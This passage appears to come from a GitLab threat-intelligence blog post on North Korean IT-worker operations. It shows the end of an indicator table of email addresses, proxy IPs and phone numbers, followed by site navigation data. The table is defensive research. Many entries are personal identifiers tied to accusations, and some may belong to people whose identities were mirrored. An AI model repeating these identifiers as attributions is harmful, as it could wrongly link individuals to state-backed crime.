`angelovaandreev@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n\n    | `ivanopavic13@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n\n    | `davorsabolic2@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n\n    | `juricleon407@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n\n    | `kondradgodzki@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n\n    | `velizarborisov.fs@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n\n    | `trivuniliikc519@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n\n    | `alexandermori1218@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n\n    | `smupyknight@outlook.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n\n    | `btrs.corp@gmail.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n\n    | `byolate@gmail.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n\n    | `starneit105@gmail.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n\n    | `chrissamuel729@gmail.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n\n    | `lozanvranic@gmail.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n\n    | `qoneits@outlook.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n\n    | `kitdb@outlook.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n\n    | `d.musatovdv@gmail.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n\n    | `nikola.radomic322@gmail.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n\n    | `duykhanh.prodev@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n\n    | `chebiinixon91@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n\n    | `jeffukus@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n\n    | `mohamed_dhifli@hotmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n\n    | `saputranady@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n\n    | `ryannguyen0303@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n\n    | `fahrultect@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n\n    | `patrickjuniorukutegbe@rocketmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n\n    | `fahrultech@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n\n    | `mirzayevorzu127@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n\n    | `tsunaminori@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n\n    | `yhwucss@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n\n    | `btrs.corp@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n\n    | `ledanglong@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n\n    | `cwertlinks@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n\n    | `bukoyesamuel9@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n\n    | `gwanchi@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n\n    | `efezinoukpowe@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n\n    | `thnam0107@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n\n    | `vijanakaush@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n\n    | `luis.miguel208@outlook.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n\n    | `smupyknight@outlook.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n\n    | `brankojovovic99@gmail.com` | email | insider | N/A | N/A | Administrative/testing accounts on abused services | 2 |\n\n    | `manuetuazon.work@gmail.com` | email | insider | N/A | N/A | Administrative/testing accounts on abused services | 2 |\n\n    | `upwork.management.whm@outlook.com` | email | insider | N/A | N/A | Administrative/testing accounts on abused services | 2 |\n\n    | `1.20.169.90` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `103.106.112.166` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `103.152.100.221` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `103.155.199.28` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `103.174.81.10` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `103.190.171.37` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `103.39.70.248` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `107.178.11.226` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `107.189.8.240` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `113.160.133.32` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `115.72.1.61` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `117.1.101.198` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `121.132.60.117` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `125.26.238.166` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `139.178.67.134` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `14.225.215.117` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `143.110.226.180` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `144.217.207.22` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `146.190.114.113` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `147.28.155.20` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `148.72.168.81` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `152.26.229.34` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `152.26.229.42` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `152.26.229.46` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `152.26.229.47` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `152.26.229.83` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `152.26.229.86` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `152.26.229.93` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `152.26.231.42` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `152.26.231.83` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `152.26.231.86` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `152.26.231.93` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `152.26.231.94` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `153.92.214.226` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `157.245.59.236` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `171.228.181.120` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `171.99.253.154` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `172.105.247.219` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `173.255.223.18` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `178.63.180.104` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `179.1.195.163` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `184.168.124.233` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `193.227.129.196` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `193.38.244.17` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `194.104.136.243` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `194.164.206.37` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `195.159.124.57` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `195.85.250.12` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `2.59.181.125` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `200.24.159.153` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `200.60.20.11` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `203.150.128.86` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `204.12.227.114` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `222.252.194.204` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `222.252.194.29` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `23.237.145.36` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `31.41.216.122` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `34.122.58.60` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `37.210.118.247` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `37.46.135.225` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `38.158.202.121` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `38.183.146.125` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `4.7.147.233` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `45.119.114.203` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `45.144.166.24` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `45.189.252.218` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `45.81.115.86` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `47.220.151.116` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `50.6.193.80` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `51.159.75.249` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `54.37.207.54` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `57.128.201.50` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `61.198.87.1` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `64.92.82.58` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `64.92.82.59` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `67.43.227.226` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `67.43.227.227` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `67.43.228.253` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `67.43.236.19` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `67.43.236.20` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `72.10.160.171` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `72.10.160.92` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `72.10.164.178` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `74.255.219.229` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `82.180.146.116` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `94.23.153.15` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `95.182.97.53` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n\n    | `ryan.service.1001@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 3 |\n\n    | `dmbdev800@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 3 |\n\n    | `kari.dev1217@gmail` | email | insider | N/A | N/A | Threat actor persona email | 3 |\n\n    | `iamjanus66@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 3 |\n\n    | `4696382784` | phone number | insider | N/A | N/A | Threat actor persona phone number | 3 |\n\n    | `brianyoung.luck@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `brianyoung0203@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `codingwork.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `jinwangdev531@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `gdavisiv.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `nicolas.edgardo1028@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `alexeilucky23@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `aleksey0753@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `develop498@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `4899432@qq.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `karsonova1703@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `maximmironenkoreact@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `vitalyandronuke@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `alexeysamsonofff@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `realnitii1@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `devnitin18@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `alexiyevaj@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `initinbhardwaj@yahoo.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `anna.putinarus@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `rajukumar127.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `kekisevu@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `anastasiaanufriyenko@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `naterongi@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `andriimalyshenko@yahoo.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `gabrygreg1@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `luckydev2289@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `forfuture21@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `darbylee923@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `alexei.lee0203@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `yuriassasin0603@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `luis.lee.tech@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `bryanjsmiranda@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `luislee.software@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `panda95718@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `givometeq@mentonit.net` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `maradanod.favomubo@vintomaper.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `humblechoice.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `jairoalberto2208@hotmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `quxiujun520520@163.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `igorslobodyan508@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `brianyoung.lucky@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `valerykrapiv@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `dveretenov@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `blbnlambert34@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `tezauidev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `nicewitali0311@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `shopstar0907@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `rl6700907@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `naterongi1@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `alexeu005@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `versatile.skydev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `kevinhelan2@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `cglobalpower923002@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `albertchess990919@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `lorenzo.vidal@mail.ru` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `stolic5star@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `nkvasic5star@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `freelancer.honest.developer@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `viana.mabel3058@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `jairo.business392@yahoo.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `jairoacosta00123@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `ferwerwe6@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `maskymlap@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `alexsam.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `kostiaberez369@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `darkrut22@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `jennalolly93@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `vikram.imenso@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `greg.work.pro@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `denish.faldu226@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `janeica.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `mdmahdiuli@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `aronnokunjo@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `hadiulislam391@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `mahdi39980@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `mahdiupwork2002@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `mdmahdiul@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `wildbotgamer@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `tramendo.L@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `dyadkovdevelop@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `tramendo.M@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `Gulfdom0209@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `Wei861420@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `brianyoung0203@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `david@heyadev.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `mykytadanylchenko@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `ronaldofanclub112@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `olegevgen@inbox.lt` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n\n    | `15414257086` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n\n    | `89883507137` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n\n    | `14358179097` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n\n    | `3508704464` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n\n    | `4796004206` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n\n    | `5596103595` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n  category: security-labs\n  tags:\n    - security\n    - security research\nconfig:\n  featured: true\n  template: BlogPost\n  slug: gitlab-threat-intelligence-reveals-north-korean-tradecraft\n",{"config":30,"title":5,"description":17},{"noIndex":31},false,"en-us/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft",[22,34],"security-research",[22,23],"ITiWFZaBECbstMvDtMDOJAg_3Msu50pGicemGN4uJ38",{"logo":38,"freeTrial":43,"sales":48,"login":53,"items":58,"search":378,"minimal":409,"duo":428,"switchNav":437,"pricingDeployment":448},{"config":39},{"href":40,"dataGaName":41,"dataGaLocation":42},"/","gitlab logo","header",{"text":44,"config":45},"Get free trial",{"href":46,"dataGaName":47,"dataGaLocation":42},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial/","free trial",{"text":49,"config":50},"Talk to sales",{"href":51,"dataGaName":52,"dataGaLocation":42},"/sales/","sales",{"text":54,"config":55},"Sign in",{"href":56,"dataGaName":57,"dataGaLocation":42},"https://gitlab.com/users/sign_in/","sign in",[59,88,188,193,297,358],{"text":60,"config":61,"menu":63},"Platform",{"dataNavLevelOne":62},"platform",{"type":64,"columns":65},"cards",[66,72,80],{"title":60,"description":67,"link":68},"The intelligent orchestration platform for DevSecOps",{"text":69,"config":70},"Explore our Platform",{"href":71,"dataGaName":62,"dataGaLocation":42},"/platform/",{"title":73,"description":74,"link":75},"GitLab Duo Agent Platform","Agentic AI for the entire software lifecycle",{"text":76,"config":77},"Meet GitLab Duo",{"href":78,"dataGaName":79,"dataGaLocation":42},"/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":81,"description":82,"link":83},"Why GitLab","See the top reasons enterprises choose GitLab",{"text":84,"config":85},"Learn more",{"href":86,"dataGaName":87,"dataGaLocation":42},"/why-gitlab/","why gitlab",{"text":89,"left":13,"config":90,"menu":92},"Product",{"dataNavLevelOne":91},"solutions",{"type":93,"link":94,"columns":98,"feature":167},"lists",{"text":95,"config":96},"View all Solutions",{"href":97,"dataGaName":91,"dataGaLocation":42},"/solutions/",[99,123,146],{"title":100,"description":101,"link":102,"items":107},"Automation","CI/CD and automation to accelerate deployment",{"config":103},{"icon":104,"href":105,"dataGaName":106,"dataGaLocation":42},"AutomatedCodeAlt","/solutions/delivery-automation/","automated software delivery",[108,112,115,119],{"text":109,"config":110},"CI/CD",{"href":111,"dataGaLocation":42,"dataGaName":109},"/solutions/continuous-integration/",{"text":73,"config":113},{"href":78,"dataGaLocation":42,"dataGaName":114},"gitlab duo agent platform - product menu",{"text":116,"config":117},"Source Code Management",{"href":118,"dataGaLocation":42,"dataGaName":116},"/solutions/source-code-management/",{"text":120,"config":121},"Automated Software Delivery",{"href":105,"dataGaLocation":42,"dataGaName":122},"Automated software delivery",{"title":124,"description":125,"link":126,"items":131},"Security","Deliver code faster without compromising security",{"config":127},{"href":128,"dataGaName":129,"dataGaLocation":42,"icon":130},"/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[132,136,141],{"text":133,"config":134},"Application Security Testing",{"href":128,"dataGaName":135,"dataGaLocation":42},"Application security testing",{"text":137,"config":138},"Software Supply Chain Security",{"href":139,"dataGaLocation":42,"dataGaName":140},"/solutions/supply-chain/","Software supply chain security",{"text":142,"config":143},"Software Compliance",{"href":144,"dataGaName":145,"dataGaLocation":42},"/solutions/software-compliance/","software compliance",{"title":147,"link":148,"items":153},"Measurement",{"config":149},{"icon":150,"href":151,"dataGaName":152,"dataGaLocation":42},"DigitalTransformation","/solutions/visibility-measurement/","visibility and measurement",[154,158,162],{"text":155,"config":156},"Visibility & Measurement",{"href":151,"dataGaLocation":42,"dataGaName":157},"Visibility and Measurement",{"text":159,"config":160},"Value Stream Management",{"href":161,"dataGaLocation":42,"dataGaName":159},"/solutions/value-stream-management/",{"text":163,"config":164},"Analytics & Insights",{"href":165,"dataGaLocation":42,"dataGaName":166},"/solutions/analytics-and-insights/","Analytics and insights",{"title":168,"type":93,"items":169},"GitLab for",[170,176,182],{"text":171,"config":172},"Enterprise",{"icon":173,"href":174,"dataGaLocation":42,"dataGaName":175},"Building","/enterprise/","enterprise",{"text":177,"config":178},"Small Business",{"icon":179,"href":180,"dataGaLocation":42,"dataGaName":181},"Work","/small-business/","small business",{"text":183,"config":184},"Public Sector",{"icon":185,"href":186,"dataGaLocation":42,"dataGaName":187},"Organization","/solutions/public-sector/","public sector",{"text":189,"config":190},"Pricing",{"href":191,"dataGaName":192,"dataGaLocation":42,"dataNavLevelOne":192},"/pricing/","pricing",{"text":194,"config":195,"menu":197},"Resources",{"dataNavLevelOne":196},"resources",{"type":93,"link":198,"columns":202,"feature":286},{"text":199,"config":200},"View all resources",{"href":201,"dataGaName":196,"dataGaLocation":42},"/resources/",[203,236,258],{"title":204,"items":205},"Getting started",[206,211,216,221,226,231],{"text":207,"config":208},"Install",{"href":209,"dataGaName":210,"dataGaLocation":42},"/install/","install",{"text":212,"config":213},"Quick start guides",{"href":214,"dataGaName":215,"dataGaLocation":42},"/get-started/","quick setup checklists",{"text":217,"config":218},"Learn",{"href":219,"dataGaLocation":42,"dataGaName":220},"https://university.gitlab.com/","learn",{"text":222,"config":223},"Product documentation",{"href":224,"dataGaName":225,"dataGaLocation":42},"https://docs.gitlab.com/","product documentation",{"text":227,"config":228},"Best practice videos",{"href":229,"dataGaName":230,"dataGaLocation":42},"/getting-started-videos/","best practice videos",{"text":232,"config":233},"Integrations",{"href":234,"dataGaName":235,"dataGaLocation":42},"/integrations/","integrations",{"title":237,"items":238},"Discover",[239,244,249,253],{"text":240,"config":241},"Customer success stories",{"href":242,"dataGaName":243,"dataGaLocation":42},"/customers/","customer success stories",{"text":245,"config":246},"Blog",{"href":247,"dataGaName":248,"dataGaLocation":42},"/blog/","blog",{"text":250,"config":251},"The Source",{"href":252,"dataGaName":248,"dataGaLocation":42},"/the-source/",{"text":254,"config":255},"Remote",{"href":256,"dataGaName":257,"dataGaLocation":42},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":259,"items":260},"Connect",[261,266,271,276,281],{"text":262,"config":263},"GitLab 